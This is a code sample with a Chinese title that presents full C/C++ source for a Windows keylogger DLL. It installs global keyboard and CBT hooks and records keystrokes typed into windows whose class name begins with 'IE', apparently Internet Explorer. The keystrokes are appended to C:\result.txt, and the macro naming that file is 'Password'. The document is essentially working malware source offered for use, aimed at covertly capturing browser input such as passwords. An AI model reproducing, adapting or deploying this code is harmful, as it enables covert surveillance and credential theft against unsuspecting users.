动态链接库dll键盘钩子后台记录代码示例

//.header

#ifndef _DLLHOOK_H_
#define _DLLHOOK_H_

#include <windows.h>
#define  DLL_EXPORT_FUN __declspec(dllexport)
DLL_EXPORT_FUN BOOL InstallHook();
DLL_EXPORT_FUN BOOL UninstallHook();

#endif

//.cpp

#include <process.h>
#include <stdio.h>
#include "DllHook.h"

#define Password "C:\\result.txt"
#define TextLength 20
#define CHARNUMBER 5
#define CAPITALNUM 10

HHOOK hHookKeyboard=0;
HHOOK hHookMsg=0;
HANDLE hDll=NULL;
char TextMsg[TextLength]={0};
bool  IE_is_actived=true;
HWND hhWnd=NULL;
FILE *pfFile=NULL;
unsigned int Counter=0;
int shift = 32;
short  flag=0;;
char tombnum[CHARNUMBER]={0};
enum NUM
{
SHIFT,
CONTROL,
ALT,
CAPITAL
};
static int    TempArray[CHARNUMBER][CAPITAL+1];
static char text[TextLength];

void InitTable()
{

for (int i=0; i<CHARNUMBER; i++)
for (int j=0; j<CAPITALNUM+1; j++)
TempArray[i][j]=0;
}

BOOL APIENTRY DllMain( HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved )
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
hDll=hModule;
hhWnd=GetActiveWindow();
MessageBox(hhWnd,"DLLKEYBOARD","提示",MB_OKCANCEL);
}
//A new process is attempting to access the DLL; one thread is assumed.
break;
case DLL_PROCESS_DETACH:
//A process is detaching from the DLL.
UninstallHook();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
//One of the additional threads (not the first thread) of a process is detaching from the DLL.
break;
}
return TRUE;
}

LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
int i, temp;
int flag_shift;
int flag_capital;
int flag_alt;
int flag_control;

if (IE_is_actived)
{
if ((wParam == VK_SHIFT) || (wParam == VK_CAPITAL) || (wParam == VK_MENU) || (wParam == VK_CONTROL))
{
flag_shift   = 0x8000 & GetKeyState(VK_SHIFT);
flag_capital = 0x0001 & GetKeyState(VK_CAPITAL);
flag_alt     = 0x8000 & GetKeyState(VK_MENU);
flag_control = 0x8000 & GetKeyState(VK_CONTROL);
}
if    (wParam!=VK_TAB && wParam!=VK_ESCAPE && wParam !=VK_LEFT && wParam!=VK_RIGHT &&
wParam!=VK_UP && wParam!=VK_DOWN && wParam!=VK_END && wParam!=VK_HOME &&
wParam!=VK_PRIOR && wParam!=VK_NEXT && wParam!=VK_INSERT && wParam!=VK_NUMLOCK &&
wParam!=VK_SCROLL && wParam!=VK_PAUSE && wParam!=VK_LWIN && wParam!=VK_RWIN &&
wParam!=VK_F1 && wParam!=VK_F2 && wParam!=VK_F3 && wParam!=VK_F4 && wParam!=VK_F5 &&
wParam!=VK_F6 && wParam!=VK_F7 && wParam!=VK_F8 && wParam!=VK_F9 &&wParam!=VK_F10 &&
wParam!=VK_F11 && wParam!=VK_F12)
{
if  ((0x80000000 & lParam) == 0)    //WM_KEYDOWN?
{
if (wParam>=0x41 && wParam<=0x5a)
wParam+=32;                     //Kisbeture konvertalas
if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
{
if (wParam==VK_CAPITAL)
temp=1;
else temp=0;
TempArray[Counter][wParam-16-temp]=1;
}
tombnum[Counter] = wParam;
Counter++;
}
else                                //WM_KEYUP?
if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
{
if (wParam==VK_CAPITAL)
temp=1;
else temp=0;
TempArray[Counter][wParam-16-temp]=2;
tombnum[Counter] = wParam;
Counter++;
}
if (Counter==CHARNUMBER)
{
pfFile = fopen(Password, "a+");

for (i=0; i<(signed)Counter; i++)
{
switch(tombnum[i])
{
case VK_DELETE :
fprintf(pfFile, "%s", "<d>");
break;

case VK_RETURN :
fprintf(pfFile, "%s", "\n");
break;

case VK_BACK :
fprintf(pfFile, "%s", "<b>");
break;

case VK_SHIFT :
if (TempArray[i][SHIFT]==1)
fprintf(pfFile, "%s", "<sd>");
else
fprintf(pfFile, "%s", "<su>");
break;

case VK_CONTROL :
if (TempArray[i][CONTROL]==1)
fprintf(pfFile, "%s", "<ctd>");
else
fprintf(pfFile, "%s", "<ctu>");
break;

case VK_MENU :
if (TempArray[i][ALT]==1)
fprintf(pfFile, "%s", "<ad>");
else
fprintf(pfFile, "%s", "<au>");
break;

case VK_CAPITAL :
if (TempArray[i][CAPITAL]==1)
fprintf(pfFile, "%s", "<cpd>");
else
fprintf(pfFile, "%s", "<cpu>");
break;

default:
fprintf(pfFile, "%c", tombnum[i]);
break;
}
}
fclose (pfFile);
Counter=0;
InitTable();
}
}
}
return CallNextHookEx(hHookKeyboard, code, wParam, lParam);
}

LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{

if(nCode==HCBT_ACTIVATE)
{
GetClassName(hhWnd,TextMsg,TextLength);
{
if (TextMsg[0]=='I'&&TextMsg[1]=='E')
IE_is_actived=true;
else
IE_is_actived=false;
}
return 1;
}
else
return CallNextHookEx(hHookMsg,nCode,wParam,lParam);
}

DLL_EXPORT_FUN BOOL InstallHook()
{

hHookKeyboard=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,(HINSTANCE)hDll,(DWORD)NULL);
if (hHookKeyboard==NULL)
{
return false;
}
hHookMsg=SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTProc,(HINSTANCE)hDll,(DWORD)NULL);
if (hHookMsg==NULL)
{
return false;
}
return true;
}

DLL_EXPORT_FUN BOOL UninstallHook()
{

if(UnhookWindowsHookEx(hHookKeyboard)==0)
return false;
if (UnhookWindowsHookEx(hHookMsg)==0)
return false;
else
return TRUE;
}